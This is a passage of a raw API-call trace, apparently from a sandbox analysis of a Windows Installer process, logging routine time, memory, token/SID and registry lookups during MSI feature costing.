lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.251] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x33e)) [0124.251] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.251] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x33e)) [0124.251] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.251] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.251] memcpy (in: _Dst=0x36d9ce, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9ce) returned 0x36d9ce [0124.251] memcpy (in: _Dst=0x36d9de, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x36d9de) returned 0x36d9de [0124.251] memcpy (in: _Dst=0x36d9e2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.251] SetLastError (dwErrCode=0x0) [0124.251] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.251] memcpy (in: _Dst=0x36d9e2, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9e2) returned 0x36d9e2 [0124.251] memcpy (in: _Dst=0x36d9e8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x36d9e8) returned 0x36d9e8 [0124.251] memcpy (in: _Dst=0x36d9ec, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.251] SetLastError (dwErrCode=0x0) [0124.251] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.251] memcpy (in: _Dst=0x36d9ec, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ec) returned 0x36d9ec [0124.251] GetCurrentThreadId () returned 0xf50 [0124.251] GetCurrentThreadId () returned 0xf50 [0124.251] SetEvent (hEvent=0x170) returned 1 [0124.251] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.253] lstrlenW (lpString="CostInitialize") returned 14 [0124.253] SetLastError (dwErrCode=0xd) [0124.253] SetLastError (dwErrCode=0xd) [0124.253] lstrlenW (lpString="Time") returned 4 [0124.253] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x33e)) [0124.253] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.253] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x33e)) [0124.254] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.254] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x33e)) [0124.254] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0124.254] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0124.254] memcpy (in: _Dst=0x36d9da, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x36d9da) returned 0x36d9da [0124.254] memcpy (in: _Dst=0x36d9ea, _Src=0x376446, _Size=0x4 | out: _Dst=0x36d9ea) returned 0x36d9ea [0124.254] memcpy (in: _Dst=0x36d9ee, _Src=0x37644c, _Size=0x2 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.254] SetLastError (dwErrCode=0x0) [0124.254] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0124.254] memcpy (in: _Dst=0x36d9ee, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x36d9ee) returned 0x36d9ee [0124.254] memcpy (in: _Dst=0x36d9f4, _Src=0x376450, _Size=0x2 | out: _Dst=0x36d9f4) returned 0x36d9f4 [0124.254] GetCurrentThreadId () returned 0xf50 [0124.254] GetCurrentThreadId () returned 0xf50 [0124.254] SetEvent (hEvent=0x170) returned 1 [0124.254] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.257] GetCurrentThreadId () returned 0xf50 [0124.257] GetCurrentThreadId () returned 0xf50 [0124.257] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce1c0 | out: phkResult=0x10ce1c0*=0x0) returned 0x2 [0124.258] wcstol (in: _String="0.7.0", _EndPtr=0x10ce1c0, _Radix=10 | out: _EndPtr=0x10ce1c0*=".7.0") returned 0 [0124.258] wcstol (in: _String="7.0", _EndPtr=0x10ce1c0, _Radix=10 | out: _EndPtr=0x10ce1c0*=".0") returned 7 [0124.258] wcstol (in: _String="0", _EndPtr=0x10ce1c0, _Radix=10 | out: _EndPtr=0x10ce1c0*="") returned 0 [0124.258] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdf80, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0124.258] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed") returned 41 [0124.258] lstrlenW (lpString="\\") returned 1 [0124.258] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", UrlIs=0x0) returned 0 [0124.258] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 74 [0124.258] lstrlenW (lpString="\\") returned 1 [0124.258] lstrlenW (lpString="\\\\") returned 2 [0124.258] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", _SubStr="\\\\") returned 0x0 [0124.258] lstrlenW (lpString="Windows") returned 7 [0124.258] lstrlenW (lpString="Windows") returned 7 [0124.258] lstrlenW (lpString="Installer") returned 9 [0124.259] lstrlenW (lpString="Installer") returned 9 [0124.259] lstrlenW (lpString="$PatchCache$") returned 12 [0124.259] lstrlenW (lpString="$PatchCache$") returned 12 [0124.259] lstrlenW (lpString="Managed") returned 7 [0124.259] lstrlenW (lpString="Managed") returned 7 [0124.259] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.259] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.259] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0124.259] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0124.259] lstrlenW (lpString="\\") returned 1 [0124.259] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.259] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04")) returned 0xffffffff [0124.260] lstrcmpiW (lpString1="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", lpString2="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 0 [0124.260] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04\\") returned 75 [0124.260] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04"), fInfoLevelId=0x0, lpFileInformation=0x10ce110 | out: lpFileInformation=0x10ce110*(dwFileAttributes=0x10ce190, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xf791c1fd, ftLastAccessTime.dwLowDateTime=0x7fe, ftLastAccessTime.dwHighDateTime=0x3bbc30, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1, nFileSizeHigh=0x0, nFileSizeLow=0x2be7100)) returned 0 [0124.260] GetLastError () returned 0x2 [0124.260] GetLastError () returned 0x2 [0124.260] lstrcmpiW (lpString1="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", lpString2="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 0 [0124.260] GetSystemWindowsDirectoryW (in: lpBuffer=0x10ce060, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0124.261] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed") returned 41 [0124.261] lstrlenW (lpString="\\") returned 1 [0124.261] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", UrlIs=0x0) returned 0 [0124.261] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 74 [0124.261] lstrlenW (lpString="\\") returned 1 [0124.261] lstrlenW (lpString="\\\\") returned 2 [0124.261] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", _SubStr="\\\\") returned 0x0 [0124.261] lstrlenW (lpString="Windows") returned 7 [0124.434] lstrlenW (lpString="Windows") returned 7 [0124.434] lstrlenW (lpString="Installer") returned 9 [0124.434] lstrlenW (lpString="Installer") returned 9 [0124.434] lstrlenW (lpString="$PatchCache$") returned 12 [0124.434] lstrlenW (lpString="$PatchCache$") returned 12 [0124.434] lstrlenW (lpString="Managed") returned 7 [0124.434] lstrlenW (lpString="Managed") returned 7 [0124.434] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.434] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.434] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0124.434] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0124.434] lstrlenW (lpString="\\") returned 1 [0124.434] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.434] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04")) returned 0xffffffff [0124.435] GetTickCount () returned 0x1877c77 [0124.435] GetCurrentThreadId () returned 0xf50 [0124.435] GetCurrentThreadId () returned 0xf50 [0124.435] SetEvent (hEvent=0x170) returned 1 [0124.437] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0124.498] UrlIsW (pszUrl="C:\\", UrlIs=0x0) returned 0 [0124.498] lstrlenW (lpString="C:\\") returned 3 [0124.498] lstrlenW (lpString="\\") returned 1 [0124.498] lstrlenW (lpString="\\\\") returned 2 [0124.498] lstrlenW (lpString="\\") returned 1 [0124.498] lstrlenW (lpString="\\") returned 1 [0124.498] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0124.499] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0124.499] lstrlenW (lpString="ROOTDRIVE") returned 9 [0124.499] lstrlenW (lpString="Directory") returned 9 [0124.500] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䌍䈵䗦䕲䠼", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce1e0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0124.500] CExposedStream::Stat () returned 0x0 [0124.500] GlobalLock (hMem=0xf40108) returned 0x3c0180 [0124.500] CExposedStream::Read () returned 0x0 [0124.500] memcpy (in: _Dst=0x3c0184, _Src=0x36d9cc, _Size=0x2 | out: _Dst=0x3c0184) returned 0x3c0184 [0124.500] memcpy (in: _Dst=0x3c01a4, _Src=0x36d9ce, _Size=0x2 | out: _Dst=0x3c01a4) returned 0x3c01a4 [0124.500] memcpy (in: _Dst=0x3c01c4, _Src=0x36d9d0, _Size=0x2 | out: _Dst=0x3c01c4) returned 0x3c01c4 [0124.500] memcpy (in: _Dst=0x3c0188, _Src=0x36d9d2, _Size=0x2 | out: _Dst=0x3c0188) returned 0x3c0188 [0124.500] memcpy (in: _Dst=0x3c01a8, _Src=0x36d9d4, _Size=0x2 | out: _Dst=0x3c01a8) returned 0x3c01a8 [0124.500] memcpy (in: _Dst=0x3c01c8, _Src=0x36d9d6, _Size=0x2 | out: _Dst=0x3c01c8) returned 0x3c01c8 [0124.500] memcpy (in: _Dst=0x3c018c, _Src=0x36d9d8, _Size=0x2 | out: _Dst=0x3c018c) returned 0x3c018c [0124.500] memcpy (in: _Dst=0x3c01ac, _Src=0x36d9da, _Size=0x2 | out: _Dst=0x3c01ac) returned 0x3c01ac [0124.500] memcpy (in: _Dst=0x3c01cc, _Src=0x36d9dc, _Size=0x2 | out: _Dst=0x3c01cc) returned 0x3c01cc [0124.500] CExposedStream::Release () returned 0x0 [0124.501] GlobalUnlock (hMem=0xf40108) returned 0 [0124.501] GlobalReAlloc (hMem=0xf40108, dwBytes=0x6c, uFlags=0x2) returned 0xf40108 [0124.501] GlobalLock (hMem=0xf40108) returned 0x3b7350 [0124.501] memcpy (in: _Dst=0x3b7398, _Src=0x3b7390, _Size=0x20 | out: _Dst=0x3b7398) returned 0x3b7398 [0124.501] memcpy (in: _Dst=0x3b7374, _Src=0x3b7370, _Size=0x20 | out: _Dst=0x3b7374) returned 0x3b7374 [0124.501] GlobalUnlock (hMem=0xf40108) returned 0 [0124.501] GlobalReAlloc (hMem=0xf40108, dwBytes=0x78, uFlags=0x2) returned 0xf40108 [0124.501] GlobalLock (hMem=0xf40108) returned 0x210ccd0 [0124.501] memcpy (in: _Dst=0x210cd20, _Src=0x210cd18, _Size=0x24 | out: _Dst=0x210cd20) returned 0x210cd20 [0124.501] memcpy (in: _Dst=0x210ccf8, _Src=0x210ccf4, _Size=0x24 | out: _Dst=0x210ccf8) returned 0x210ccf8 [0124.501] GetTickCount () returned 0x1877cb5 [0124.502] GetTickCount () returned 0x1877cb5 [0124.502] lstrlenW (lpString=":") returned 1 [0124.502] wcsstr (_Str=".", _SubStr=":") returned 0x0 [0124.503] GetTickCount () returned 0x1877cb5 [0124.503] lstrlenW (lpString=":") returned 1 [0124.503] wcsstr (_Str="bxjvilw7|[BZ.COMPANYNAME]", _SubStr=":") returned 0x0 [0124.503] lstrlenW (lpString="\\") returned 1 [0124.504] wcsstr (_Str="bxjvilw7|[BZ.COMPANYNAME]", _SubStr="\\") returned 0x0 [0124.504] lstrlenW (lpString="/") returned 1 [0124.504] wcsstr (_Str="bxjvilw7|[BZ.COMPANYNAME]", _SubStr="/") returned 0x0 [0124.504] lstrlenW (lpString="bxjvilw7|[BZ.COMPANYNAME]") returned 25 [0124.504] lstrlenW (lpString="[BZ.COMPANYNAME]") returned 16 [0124.504] lstrlenW (lpString="[BZ.COMPANYNAME]") returned 16 [0124.504] lstrlenW (lpString="bxjvilw7|[BZ.COMPANYNAME]") returned 25 [0124.504] lstrlenW (lpString="bxjvilw7") returned 8 [0124.504] lstrlenW (lpString="bxjvilw7") returned 8 [0124.504] lstrlenW (lpString="\\") returned 1 [0124.504] lstrlenW (lpString="\\") returned 1 [0124.505] lstrlenW (lpString="CostingComplete") returned 15 [0124.505] _vsnwprintf (in: _Buffer=0x10ce2f8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce2e8 | out: _Buffer="0") returned 1 [0124.505] lstrlenW (lpString="0") returned 1 [0124.505] lstrlenW (lpString="Feature") returned 7 [0124.505] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈏䗤䕸䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce190, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0124.505] CExposedStream::Stat () returned 0x0 [0124.505] GlobalLock (hMem=0xf400f8) returned 0x349540 [0124.505] CExposedStream::Read () returned 0x0 [0124.505] memcpy (in: _Dst=0x349544, _Src=0x36d9cc, _Size=0x2 | out: _Dst=0x349544) returned 0x349544 [0124.505] memcpy (in: _Dst=0x349548, _Src=0x36d9ce, _Size=0x2 | out: _Dst=0x349548) returned 0x349548 [0124.505] memcpy (in: _Dst=0x34954c, _Src=0x36d9d0, _Size=0x2 | out: _Dst=0x34954c) returned 0x34954c [0124.505] memcpy (in: _Dst=0x349550, _Src=0x36d9d2, _Size=0x2 | out: _Dst=0x349550) returned 0x349550 [0124.505] memcpy (in: _Dst=0x10ce268, _Src=0x36d9d4, _Size=0x2 | out: _Dst=0x10ce268) returned 0x10ce268 [0124.505] memcpy (in: _Dst=0x10ce268, _Src=0x36d9d6, _Size=0x2 | out: _Dst=0x10ce268) returned 0x10ce268 [0124.505] memcpy (in: _Dst=0x34955c, _Src=0x36d9d8, _Size=0x2 | out: _Dst=0x34955c) returned 0x34955c [0124.505] memcpy (in: _Dst=0x10ce268, _Src=0x36d9da, _Size=0x2 | out: _Dst=0x10ce268) returned 0x10ce268 [0124.505] CExposedStream::Release () returned 0x0 [0124.505] GetLocalTime (in: lpSystemTime=0x10ce210 | out: lpSystemTime=0x10ce210*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x1)) [0124.506] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce210, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.506] lstrlenW (lpString="RuntimeLevel") returned 12 [0124.506] lstrlenW (lpString="RuntimeAttributes") returned 17 [0124.506] lstrlenW (lpString="Select") returned 6 [0124.506] lstrlenW (lpString="Action") returned 6 [0124.507] GlobalUnlock (hMem=0xf400f8) returned 0 [0124.507] GlobalReAlloc (hMem=0xf400f8, dwBytes=0x34, uFlags=0x2) returned 0xf400f8 [0124.507] GlobalLock (hMem=0xf400f8) returned 0x37c910 [0124.507] lstrlenW (lpString="ActionRequested") returned 15 [0124.507] GlobalUnlock (hMem=0xf400f8) returned 0 [0124.507] GlobalReAlloc (hMem=0xf400f8, dwBytes=0x38, uFlags=0x2) returned 0xf400f8 [0124.507] GlobalLock (hMem=0xf400f8) returned 0x37c910 [0124.507] lstrlenW (lpString="Installed") returned 9 [0124.507] GlobalUnlock (hMem=0xf400f8) returned 0 [0124.507] GlobalReAlloc (hMem=0xf400f8, dwBytes=0x3c, uFlags=0x2) returned 0xf400f8 [0124.507] GlobalLock (hMem=0xf400f8) returned 0x37c910 [0124.507] lstrlenW (lpString="Handle") returned 6 [0124.507] GlobalUnlock (hMem=0xf400f8) returned 0 [0124.507] GlobalReAlloc (hMem=0xf400f8, dwBytes=0x40, uFlags=0x2) returned 0xf400f8 [0124.507] GlobalLock (hMem=0xf400f8) returned 0x37c910 [0124.508] lstrlenW (lpString="RuntimeFlags") returned 12 [0124.508] GlobalUnlock (hMem=0xf400f8) returned 0 [0124.508] GlobalReAlloc (hMem=0xf400f8, dwBytes=0x44, uFlags=0x2) returned 0xf400f8 [0124.508] GlobalLock (hMem=0xf400f8) returned 0x35a900 [0124.508] lstrlenW (lpString="DefaultSelect") returned 13 [0124.508] GlobalUnlock (hMem=0xf400f8) returned 0 [0124.508] GlobalReAlloc (hMem=0xf400f8, dwBytes=0x48, uFlags=0x2) returned 0xf400f8 [0124.508] GlobalLock (hMem=0xf400f8) returned 0x35a900 [0124.508] lstrlenW (lpString="FeatureComponents") returned 17 [0124.508] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈏䗤䕸㬨䐲䒳䈱䗱䠶", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce190, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0124.508] CExposedStream::Stat () returned 0x0 [0124.509] GlobalLock (hMem=0xf40118) returned 0x3bc570 [0124.509] CExposedStream::Read () returned 0x0 [0124.509] memcpy (in: _Dst=0x3bc574, _Src=0x36d9cc, _Size=0x2 | out: _Dst=0x3bc574) returned 0x3bc574 [0124.509] memcpy (in: _Dst=0x3bc578, _Src=0x36d9ce, _Size=0x2 | out: _Dst=0x3bc578) returned 0x3bc578 [0124.509] CExposedStream::Release () returned 0x0 [0124.509] lstrlenW (lpString="RuntimeFlags") returned 12 [0124.509] lstrlenW (lpString=":") returned 1 [0124.509] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0124.510] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.510] GetCurrentThreadId () returned 0xf50 [0124.510] GetCurrentThreadId () returned 0xf50 [0124.510] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.510] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdc30, TokenInformationLength=0x58, ReturnLength=0x10cdc20 | out: TokenInformation=0x10cdc30, ReturnLength=0x10cdc20) returned 1 [0124.510] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdd10, pSourceSid=0x10cdc40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdd10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.510] ConvertSidToStringSidW (in: Sid=0x10cdd10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdcf0 | out: StringSid=0x10cdcf0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.510] LocalFree (hMem=0x3d6a30) returned 0x0 [0124.510] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.510] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0124.510] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce2a0 | out: phkResult=0x10ce2a0*=0x0) returned 0x2 [0124.511] GetCurrentThreadId () returned 0xf50 [0124.511] GetCurrentThreadId () returned 0xf50 [0124.511] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0124.511] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdc30, TokenInformationLength=0x58, ReturnLength=0x10cdc20 | out: TokenInformation=0x10cdc30, ReturnLength=0x10cdc20) returned 1 [0124.511] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdd10, pSourceSid=0x10cdc40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdd10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0124.511] ConvertSidToStringSidW (in: Sid=0x10cdd10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdcf0 | out: StringSid=0x10cdcf0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0124.512] LocalFree (hMem=0x3d6250) returned 0x0 [0124.512] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.512] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0124.512] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce2a0 | out: phkResult=0x10ce2a0*=0x0) returned 0x2 [0124.512] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0124.512] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0124.512] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce2a0 | out: phkResult=0x10ce2a0*=0x0) returned 0x2 [0124.512] lstrlenW (lpString="Component") returned 9 [0124.512] lstrlenW (lpString="Component_Parent") returned 16 [0124.512] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.513] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x20, uFlags=0x2) returned 0xf400a8 [0124.513] GlobalLock (hMem=0xf400a8) returned 0x3c2880 [0124.513] lstrlenW (lpString="Installed") returned 9 [0124.513] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.513] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x24, uFlags=0x2) returned 0xf400a8 [0124.513] GlobalLock (hMem=0xf400a8) returned 0x349540 [0124.513] lstrlenW (lpString="Action") returned 6 [0124.513] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.513] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x28, uFlags=0x2) returned 0xf400a8 [0124.513] GlobalLock (hMem=0xf400a8) returned 0x349540 [0124.513] lstrlenW (lpString="ActionRequest") returned 13 [0124.513] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.513] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x2c, uFlags=0x2) returned 0xf400a8 [0124.513] GlobalLock (hMem=0xf400a8) returned 0x349540 [0124.513] lstrlenW (lpString="LocalCost") returned 9 [0124.513] GetLocalTime (in: lpSystemTime=0x10ce1f0 | out: lpSystemTime=0x10ce1f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.514] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1f0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.514] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.514] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x30, uFlags=0x2) returned 0xf400a8 [0124.514] GlobalLock (hMem=0xf400a8) returned 0x349540 [0124.514] GetLocalTime (in: lpSystemTime=0x10ce1a0 | out: lpSystemTime=0x10ce1a0*(wYear=0x7e6, wMonth=0x8, 